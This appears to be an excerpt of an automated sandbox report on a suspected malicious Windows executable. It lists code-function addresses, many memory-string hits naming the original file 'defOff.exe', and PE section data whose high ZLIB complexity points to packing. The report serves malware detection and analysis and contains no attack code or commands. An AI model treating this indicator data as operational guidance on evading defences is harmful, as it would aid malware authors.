Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_063566EC	0_2_063566EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_063686D1	0_2_063686D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_063786DD	0_2_063786DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06373ECB	0_2_06373ECB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0638173E	0_2_0638173E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06364F3D	0_2_06364F3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0637E722	0_2_0637E722
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06383F15	0_2_06383F15
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0638EF08	0_2_0638EF08
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06385701	0_2_06385701
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06362F75	0_2_06362F75
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0635877C	0_2_0635877C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06371F7B	0_2_06371F7B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06365F6F	0_2_06365F6F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0637EF46	0_2_0637EF46
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0635A74F	0_2_0635A74F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_063757BD	0_2_063757BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_063647B8	0_2_063647B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_063797B9	0_2_063797B9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06387FB6	0_2_06387FB6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06377795	0_2_06377795
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636978C	0_2_0636978C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_063577F5	0_2_063577F5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0637CFE6	0_2_0637CFE6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0638F7EC	0_2_0638F7EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06357FE3	0_2_06357FE3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06368FEB	0_2_06368FEB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_063707E8	0_2_063707E8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06372FC8	0_2_06372FC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636DC37	0_2_0636DC37
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0635FC38	0_2_0635FC38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06357C14	0_2_06357C14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0635A404	0_2_0635A404
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06361408	0_2_06361408
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0637B474	0_2_0637B474
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06366469	0_2_06366469
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06389C57	0_2_06389C57
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0635C441	0_2_0635C441
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06358C40	0_2_06358C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0635DC48	0_2_0635DC48
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0637DCA2	0_2_0637DCA2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06379C97	0_2_06379C97
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06366C9F	0_2_06366C9F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06384C85	0_2_06384C85
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_063864F9	0_2_063864F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_063734C6	0_2_063734C6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06391CCA	0_2_06391CCA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0639052A	0_2_0639052A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636B520	0_2_0636B520
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0639252E	0_2_0639252E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636256E	0_2_0636256E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06377D4F	0_2_06377D4F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0638B591	0_2_0638B591
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06389589	0_2_06389589
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06363D82	0_2_06363D82
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06356D83	0_2_06356D83
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0635CDFC	0_2_0635CDFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06392DE8	0_2_06392DE8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06368DC1	0_2_06368DC1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06374DC8	0_2_06374DC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06356215	0_2_06356215
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0635D211	0_2_0635D211
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636D21C	0_2_0636D21C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06370218	0_2_06370218
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06373A09	0_2_06373A09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06375275	0_2_06375275
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636BA7B	0_2_0636BA7B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0637726C	0_2_0637726C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06362A4C	0_2_06362A4C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636AAB6	0_2_0636AAB6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06360A92	0_2_06360A92
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636EAC1	0_2_0636EAC1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0637A2CA	0_2_0637A2CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0637E2CA	0_2_0637E2CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06385338	0_2_06385338
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06358324	0_2_06358324
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06387B2E	0_2_06387B2E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06384310	0_2_06384310
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06387312	0_2_06387312
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06380317	0_2_06380317
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0635EB0F	0_2_0635EB0F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0635930A	0_2_0635930A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0638C378	0_2_0638C378
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06377B69	0_2_06377B69
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06368369	0_2_06368369
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0638EB5D	0_2_0638EB5D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06382B55	0_2_06382B55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06383355	0_2_06383355
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06364358	0_2_06364358
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06359B4E	0_2_06359B4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06369B4B	0_2_06369B4B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0638ABA5	0_2_0638ABA5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06371B9A	0_2_06371B9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0635B3F9	0_2_0635B3F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_063763EE	0_2_063763EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0638A3D7	0_2_0638A3D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06364BC8	0_2_06364BC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06382022	0_2_06382022
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0635E82E	0_2_0635E82E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0638E009	0_2_0638E009
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0638C003	0_2_0638C003
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0635C008	0_2_0635C008
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06373877	0_2_06373877
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06371874	0_2_06371874
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06372879	0_2_06372879
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0638D060	0_2_0638D060
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06371056	0_2_06371056
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636B050	0_2_0636B050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0635F843	0_2_0635F843
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06392047	0_2_06392047
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0638C8B9	0_2_0638C8B9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0638B0B2	0_2_0638B0B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636E0F1	0_2_0636E0F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0635E0EA	0_2_0635E0EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_063638DD	0_2_063638DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_063570C1	0_2_063570C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636A931	0_2_0636A931
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0635B13A	0_2_0635B13A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06361925	0_2_06361925
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636312E	0_2_0636312E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0637D92F	0_2_0637D92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0638B925	0_2_0638B925
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06389915	0_2_06389915
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0637490C	0_2_0637490C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0635597F	0_2_0635597F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06373160	0_2_06373160
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06355957	0_2_06355957
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0637A142	0_2_0637A142
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_063641BE	0_2_063641BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_063621B8	0_2_063621B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_063861AB	0_2_063861AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0637B193	0_2_0637B193
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0637C18A	0_2_0637C18A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_063809F9	0_2_063809F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0636C1E1	0_2_0636C1E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_063839DA	0_2_063839DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_063869D3	0_2_063869D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_063689CD	0_2_063689CD

Source: file.exe, 00000000.00000003.1609925530.000000000641C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1608457068.00000000063E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1612992119.000000000647F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1599647417.0000000005E93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1600886904.00000000062FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1605881786.0000000006249000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1600357117.000000000624C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1606752565.0000000006310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1614631053.000000000636D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1602357234.0000000006242000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1618668156.000000000638B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1617581502.00000000064BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1613372876.000000000635F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1613553590.0000000006478000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1616197582.0000000006377000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1719524648.00000000016FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1598410705.000000000624B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1600278094.0000000005E9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1607201300.0000000006242000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1617947927.0000000006384000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1615402693.000000000649C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1612816916.0000000006361000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1618494254.0000000006243000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1608342076.0000000006315000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1600118506.0000000005E94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1643530319.0000000005E49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1609668298.0000000006244000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1616438262.0000000006248000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1600532667.000000000639E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1611309957.000000000634E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1617045849.0000000006242000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1612234469.000000000624F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1599843223.000000000624E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1606131392.000000000630B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1613193418.0000000006249000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1612627120.0000000006249000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1614445591.000000000624A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1610943862.000000000643D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1618122359.000000000624A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1608737219.000000000632D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1600026973.0000000006248000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1614226835.000000000636F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1598040143.0000000006042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1599935656.0000000005E9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1608582234.0000000006245000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1610575384.0000000006245000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1609001483.000000000624A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1617773602.0000000006248000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1607729582.00000000063D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1612055839.0000000006457000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1611912551.000000000634A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1600977461.0000000006247000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1601077272.00000000062F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1603532740.00000000062FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1610729395.000000000633F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1607844261.0000000006249000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1643665975.00000000016FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1615864885.0000000006378000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1610403966.0000000006332000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1614041832.0000000006245000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1602063307.0000000006242000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1617259443.000000000637D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1600720580.00000000062FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1600628076.0000000006251000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1600441220.00000000062EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1598124494.0000000005E97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1608199652.0000000006245000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1643780365.00000000016D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1614804122.00000000064A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1609403325.0000000006247000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1611715632.0000000006249000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1601169233.0000000006247000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1611534694.000000000644E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1612493012.000000000635D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1724073530.0000000006346000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1613713188.000000000624B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1618309608.0000000006385000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1615190054.0000000006371000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1607455751.0000000006306000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1607962840.0000000006312000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1606427161.0000000006247000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1602150637.00000000062F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1601645913.00000000063AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1601562683.00000000062F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1619096697.00000000064D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1598592045.000000000624F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1615032901.0000000006246000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1610277996.0000000006243000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1609265612.000000000640D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1615700267.0000000006246000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1609138037.0000000006325000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1608083116.00000000063F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1619579572.0000000006398000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1616698941.0000000006380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1619374565.0000000006248000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1610053901.0000000006249000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1616045564.0000000006243000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1610179807.000000000633F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1598501941.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1600807074.0000000006250000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1613847327.0000000006363000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1724547726.000000000678E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1600197739.000000000624C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1609538723.000000000632D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1605310166.00000000063B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1609798772.000000000632A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1611134836.000000000624A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9974280631188119
Source: file.exe	Static PE information: Section: fwylhceq ZLIB complexity 0.994453850619195

Source: classification engine

